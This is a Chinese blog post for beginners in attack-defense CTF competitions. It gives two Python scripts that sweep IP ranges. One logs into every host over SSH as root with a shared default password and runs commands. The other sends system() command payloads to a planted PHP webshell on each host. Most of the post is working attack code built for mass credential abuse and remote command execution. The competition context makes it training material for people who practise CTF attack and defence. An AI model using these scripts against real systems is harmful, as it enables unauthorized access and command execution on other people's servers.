信息安全CTF-AWD脚本(小白向)

信息安全比赛线下AWD简单python脚本

0x00 ssh批量登录

如果攻防环节所有队伍的服务器密码都一样,这个脚本可以再别人修改密码之前登录对方靶机并拿到flag。也可以执行别的命令例如user add等,具体怎么用,看你发挥了。(有兴趣的还可以自行添加FTP功能)
所以我们在比赛使登录自己服务器的第一时间一定要修改密码,删除多余用户!!!

# coding: utf-8
# author: Qilinge
# version: python-3.7.3
#此脚本适用于全场服务器的初始用户名和密码都一样的情况,在别人修改默认密码之前快速登录别人主机拿到flag
import paramiko
#使用此脚本需安装paramiko库
def catflag(ip):
    try:
        ssh=paramiko.SSHClient()
        ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())
        ssh.connect(ip,username='root',password='qilinge',timeout=1)
        #在此处填写比赛方默认的用户名和密码
        stdin,stdout,stderr=ssh.exec_command("cat flag*")
        #此处填写要执行的命令(可以用命令链接符创建用户等操作)
        flag=stdout.readlines()
        f=open('flag.txt','a')
        f.write("ip:%s,flag:%s\n" %(ip,flag))
        #flag.txt记录目标主机的flag
        f.close()
        ssh.close()
        print("打开flag.txt查看flag")
    except:
        print("用户或密码错误!")
        pass
xunhuan = int(input("IP地址第几位循环?"))
if xunhuan==3:
    ip1=input("第一位:")
    ip2=input("第二位:")
    ip4=input("第四位:")
    for ip3 in range(0,254):
        #根据需要自行调节IP范围 range(x,y)
        ip = str(ip1)+"."+str(ip2)+"."+str(ip3)+"."+str(ip4)
        print(ip)
        catflag(ip)
if xunhuan==4:
    ip1=input("第一位:")
    ip2=input("第二位:")
    ip3=input("第三位:")
    for ip4 in range(0,254):
        #根据需要自行调节IP范围 range(x,y)
        ip = str(ip1)+"."+str(ip2)+"."+str(ip3)+"."+str(ip4)
        print(ip)
        catflag(ip)

0x01 预留后门利用

一般大学里的比赛,为了照顾萌新,出题人都会在靶机预留webshell。我们登录靶机后把整个web目录download,丢进在D盾检测。如果检测出webshell,这个脚本就派上用场了!

#coding: utf-8
#author: Qilinge
#version:python-3.7.3
#此脚本适用于比赛环境预留有webshell的情况
import requests
#需安装requests库
muma='/1.php'
#木马路径
password='qilinge'
#木马密码
port=80
payload={password:'system(\'type flag*\');'}
#把 type flag* 换成要执行的命令
def request(url,payload):
    try:
        r=requests.post(url,payload,timeout=1)
        if r.status_code==requests.codes.ok:
            f=open('webshell_flag.txt','a')
            f.write(ip+"  flag is : "+r.text+ "\n")
            f.close()
            print(url+" success! flag is: "+r.text)
        else:
            print(url+" 密码错误或文件不存在!")
    except:
        print(url+" 访问不到主机!!!")

xunhuan=int(input("循环的地址是第几段?(3 or 4)"))
if xunhuan==3:
    ip1=str(input("请输入第一段IP:"))
    ip2=str(input("请输入第二段IP:"))
    ip4=str(input("请输入第四段IP:"))
    for ip3 in range(0,255):
        #range范围内自定义第三段IP范围,根据情况自己调,范围越小效率越高
        ip = str(ip1)+"."+str(ip2)+"."+str(ip3)+"."+str(ip4)
        url=str("http://"+ip + muma)
        request(url,payload)
    print("打开webshell_flag.txt查看flag!!!")
else:
    ip1=str(input("请输入第一段IP:"))
    ip2=str(input("请输入第二段IP:"))
    ip3=str(input("请输入第三段IP:"))
    for ip4 in range(1,255):
        #range范围内自定义第四段IP范围,根据情况自己调,范围越小效率越高
        ip = str(ip1)+"."+str(ip2)+"."+str(ip3)+"."+str(ip4)
        url=str("http://"+ip + muma)
        request(url,payload)
    print("打开webshell_flag.txt查看flag!!!")
  • 14
    点赞
  • 89
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值